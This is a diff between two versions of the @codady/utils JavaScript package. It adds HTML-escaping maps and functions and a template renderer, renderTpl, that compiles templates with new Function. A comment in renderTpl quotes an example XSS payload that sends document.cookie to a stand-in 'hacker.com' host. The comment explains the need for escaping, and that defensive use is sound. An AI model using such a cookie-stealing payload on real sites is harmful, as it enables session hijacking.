@codady/utils 0.0.36 → 0.0.38

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -2,8 +2,43 @@
2
2
 
3
3
  All changes to Utils including new features, updates, and removals are documented here.
4
4
 
5
+ ## [v0.0.38] - 2026-1-16
5
6
 
6
- ## [v0.0.36] - 2026-1-10
7
+ ### Distribution Files
8
+ * **JS**: https://unpkg.com/@codady/utils@0.0.38/dist/js/utils.js
9
+ * **Zip**:https://unpkg.com/@codady/utils@0.0.38/dist.zip
10
+
11
+ ### Changes
12
+
13
+ #### Fixed
14
+ * Null
15
+
16
+ #### Added
17
+ * Added the 变量 `escapeCharsMaps`/`escapeRegexMaps`.新增 `escapeCharsMaps`/`escapeRegexMaps`变量。
18
+ * Added the functions `toSingleLine`/`renderTemplate`.新增 `toSingleLine`/`renderTemplate`函数。
19
+
20
+ #### Removed
21
+ * Null
22
+
23
+ ## [v0.0.37] - 2026-1-15
24
+
25
+ ### Distribution Files
26
+ * **JS**: https://unpkg.com/@codady/utils@0.0.37/dist/js/utils.js
27
+ * **Zip**:https://unpkg.com/@codady/utils@0.0.37/dist.zip
28
+
29
+ ### Changes
30
+
31
+ #### Fixed
32
+ * Null
33
+
34
+ #### Added
35
+ * Added the functions `escapeHTML`/`decodeHtmlEntities`.新增 `escapeHTML`/`decodeHtmlEntities`函数。
36
+
37
+
38
+ #### Removed
39
+ * Null
40
+
41
+ ## [v0.0.36] - 2026-1-15
7
42
 
8
43
  ### Distribution Files
9
44
  * **JS**: https://unpkg.com/@codady/utils@0.0.36/dist/js/utils.js
package/dist/utils.cjs.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 16:57:36
3
+ * @since Last modified: 2026-1-16 15:18:30
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.35
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -240,6 +240,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
240
240
  return methods;
241
241
  };
242
242
 
243
+ const escapeCharsMaps = {
244
+ //code或pre标签中代码高亮是使用basic
245
+ basic: {
246
+ '&': '&amp;',
247
+ '<': '&lt;',
248
+ '>': '&gt;',
249
+ },
250
+ //需要用在标签属性上attribute
251
+ attribute: {
252
+ '&': '&amp;',
253
+ '<': '&lt;',
254
+ '>': '&gt;',
255
+ '"': '&quot;',
256
+ "'": '&apos;',
257
+ '`': '&#x60;',
258
+ },
259
+ //html中的正文内容使用content
260
+ content: {
261
+ '&': '&amp;',
262
+ '<': '&lt;',
263
+ '>': '&gt;',
264
+ '"': '&quot;',
265
+ "'": '&apos;',
266
+ '/': '&#x2F;',
267
+ },
268
+ //用于url链接则使用uri
269
+ uri: {
270
+ '&': '&amp;',
271
+ '<': '&lt;',
272
+ '>': '&gt;',
273
+ '"': '&quot;',
274
+ "'": '&apos;',
275
+ '(': '&#40;',
276
+ ')': '&#41;',
277
+ '[': '&#91;',
278
+ ']': '&#93;',
279
+ },
280
+ //极致转意,避免任何注入或非法代码
281
+ paranoid: {
282
+ '&': '&amp;',
283
+ '<': '&lt;',
284
+ '>': '&gt;',
285
+ '"': '&quot;',
286
+ "'": '&apos;',
287
+ '`': '&#x60;',
288
+ '/': '&#x2F;',
289
+ '=': '&#x3D;',
290
+ '!': '&#x21;',
291
+ '#': '&#x23;',
292
+ '(': '&#40;',
293
+ ')': '&#41;',
294
+ '[': '&#91;',
295
+ ']': '&#93;',
296
+ '{': '&#x7B;',
297
+ '}': '&#x7D;',
298
+ ':': '&#x3A;',
299
+ ';': '&#x3B;',
300
+ },
301
+ };
302
+
303
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
304
+ const chars = Object.keys(escapeCharsMaps[key]);
305
+ // Escape special regex characters to avoid issues in the regex. [ => \[
306
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
307
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
308
+ return acc;
309
+ }, {});
310
+
311
+ const escapeHTML = (str, strength = 'attribute') => {
312
+ // Return empty string if input is null, undefined, or not a string
313
+ if (typeof str !== 'string')
314
+ return '';
315
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
316
+ // Use String.prototype.replace with a global regex.
317
+ // The callback function retrieves the replacement from the map using the matched character as key.
318
+ return str.replace(regex, (match) => map[match]);
319
+ };
320
+
321
+ const getUniqueId = (options = {}) => {
322
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
323
+ // Current timestamp in milliseconds (since Unix epoch)
324
+ // This provides the primary uniqueness guarantee
325
+ const timestamp = Date.now(),
326
+ // Generate a base-36 random string (0-9, a-z)
327
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
328
+ // substring(2, 11) extracts 9 characters starting from index 2
329
+ //0.259854635->0.9crs03e8v2
330
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
331
+ // Additional 4-digit random number for extra randomness
332
+ // This helps avoid collisions in high-frequency generation scenarios
333
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
334
+ // Construct the final ID string
335
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
336
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
337
+ };
338
+
243
339
  const requireTypes = (data, require, cb) => {
244
340
  // Normalize the input types (convert to array if it's a single type)
245
341
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -267,22 +363,83 @@ const requireTypes = (data, require, cb) => {
267
363
  return dataType;
268
364
  };
269
365
 
270
- const getUniqueId = (options = {}) => {
271
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
272
- // Current timestamp in milliseconds (since Unix epoch)
273
- // This provides the primary uniqueness guarantee
274
- const timestamp = Date.now(),
275
- // Generate a base-36 random string (0-9, a-z)
276
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
277
- // substring(2, 11) extracts 9 characters starting from index 2
278
- //0.259854635->0.9crs03e8v2
279
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
280
- // Additional 4-digit random number for extra randomness
281
- // This helps avoid collisions in high-frequency generation scenarios
282
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
283
- // Construct the final ID string
284
- // Format: [prefix_]timestamp_randomBase36_extraRandom
285
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
366
+ const toSingleLine = (str, collapseSpaces = false) => {
367
+ const result = str.replace(/[\r\t\n]/g, '');
368
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
369
+ };
370
+
371
+ const renderTpl = (html, data, options = {}) => {
372
+ requireTypes(html, 'string', (error) => {
373
+ //不符合要求的类型
374
+ console.error(error);
375
+ return '';
376
+ });
377
+ if (!html.trim())
378
+ return '';
379
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
380
+ //不符合要求的类型
381
+ console.error(error);
382
+ return html;
383
+ });
384
+ //data={}/[]
385
+ if (Object.keys(data).length === 0) {
386
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
387
+ return html;
388
+ }
389
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
390
+ //regStart='\\{\\{'
391
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
392
+ //regEnd='\\}\\}'
393
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
394
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
395
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
396
+ if (isScript) {
397
+ //处理语句类(如 {{ if(x) /}} )
398
+ if (fragment.endsWith(opts.suffix)) {
399
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
400
+ }
401
+ else {
402
+ //处理表达式类(如 {{ name }} )
403
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
404
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
405
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
406
+ }
407
+ }
408
+ else {
409
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
410
+ //js语句不能直接文本换行,所以也需要转意换行符
411
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
412
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
413
+ }
414
+ return add;
415
+ };
416
+ while (match = tplReg.exec(html)) {
417
+ add(html.slice(cursor, match.index))(match[1], true);
418
+ cursor = match.index + match[0].length;
419
+ }
420
+ add(html.slice(cursor));
421
+ code += `return str.join('');`;
422
+ //一行行化代码
423
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
424
+ code = toSingleLine(code);
425
+ try {
426
+ if (opts.strict || dataType === 'Array') {
427
+ //严格模式,或者是数组数据,则必须使用this
428
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
429
+ }
430
+ else {
431
+ ////非严格模式,且是对象,则可省略this
432
+ let keys = Object.keys(data), values = Object.values(data),
433
+ //keys传参,可直接以key为值,this依然可指向data
434
+ tmp = new Function(...keys, escapeName, code).bind(data);
435
+ //执行时以value赋值
436
+ result = tmp(...values, escapeHTML);
437
+ }
438
+ }
439
+ catch (err) {
440
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
441
+ }
442
+ return result;
286
443
  };
287
444
 
288
445
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -1173,6 +1330,16 @@ const trimEmptyLines = (str) => {
1173
1330
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1174
1331
  };
1175
1332
 
1333
+ const decodeHtmlEntities = (text) => {
1334
+ // Check if the input text is empty or undefined
1335
+ if (!text)
1336
+ return '';
1337
+ // Use the browser's built-in method to decode HTML entities by setting the text as innerHTML of a temporary element
1338
+ const textArea = document.createElement('textarea');
1339
+ textArea.innerHTML = text; // The browser will automatically decode the HTML entities
1340
+ return textArea.value; // Get the decoded string from the text area
1341
+ };
1342
+
1176
1343
  const utils = {
1177
1344
  //executeStr,
1178
1345
  getDataType,
@@ -1210,6 +1377,12 @@ const utils = {
1210
1377
  parseLLMStream,
1211
1378
  toKebabCase,
1212
1379
  trimEmptyLines,
1380
+ decodeHtmlEntities,
1381
+ escapeCharsMaps,
1382
+ escapeRegexMaps,
1383
+ escapeHTML,
1384
+ toSingleLine,
1385
+ renderTpl,
1213
1386
  };
1214
1387
 
1215
1388
  module.exports = utils;
@@ -1,7 +1,7 @@
1
1
  /*!
2
- * @since Last modified: 2026-1-15 16:57:36
2
+ * @since Last modified: 2026-1-16 15:18:30
3
3
  * @name Utils for web front-end.
4
- * @version 0.0.35
4
+ * @version 0.0.38
5
5
  * @author AXUI development team <3217728223@qq.com>
6
6
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
7
7
  * @see {@link https://www.axui.cn|Official website}
@@ -12,4 +12,4 @@
12
12
  * @copyright This software supports the MIT License, allowing free learning and commercial use, but please retain the terms 'ax,' 'axui,' 'AX,' and 'AXUI' within the software.
13
13
  * @license MIT license
14
14
  */
15
- "use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines};module.exports=utils;
15
+ "use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of 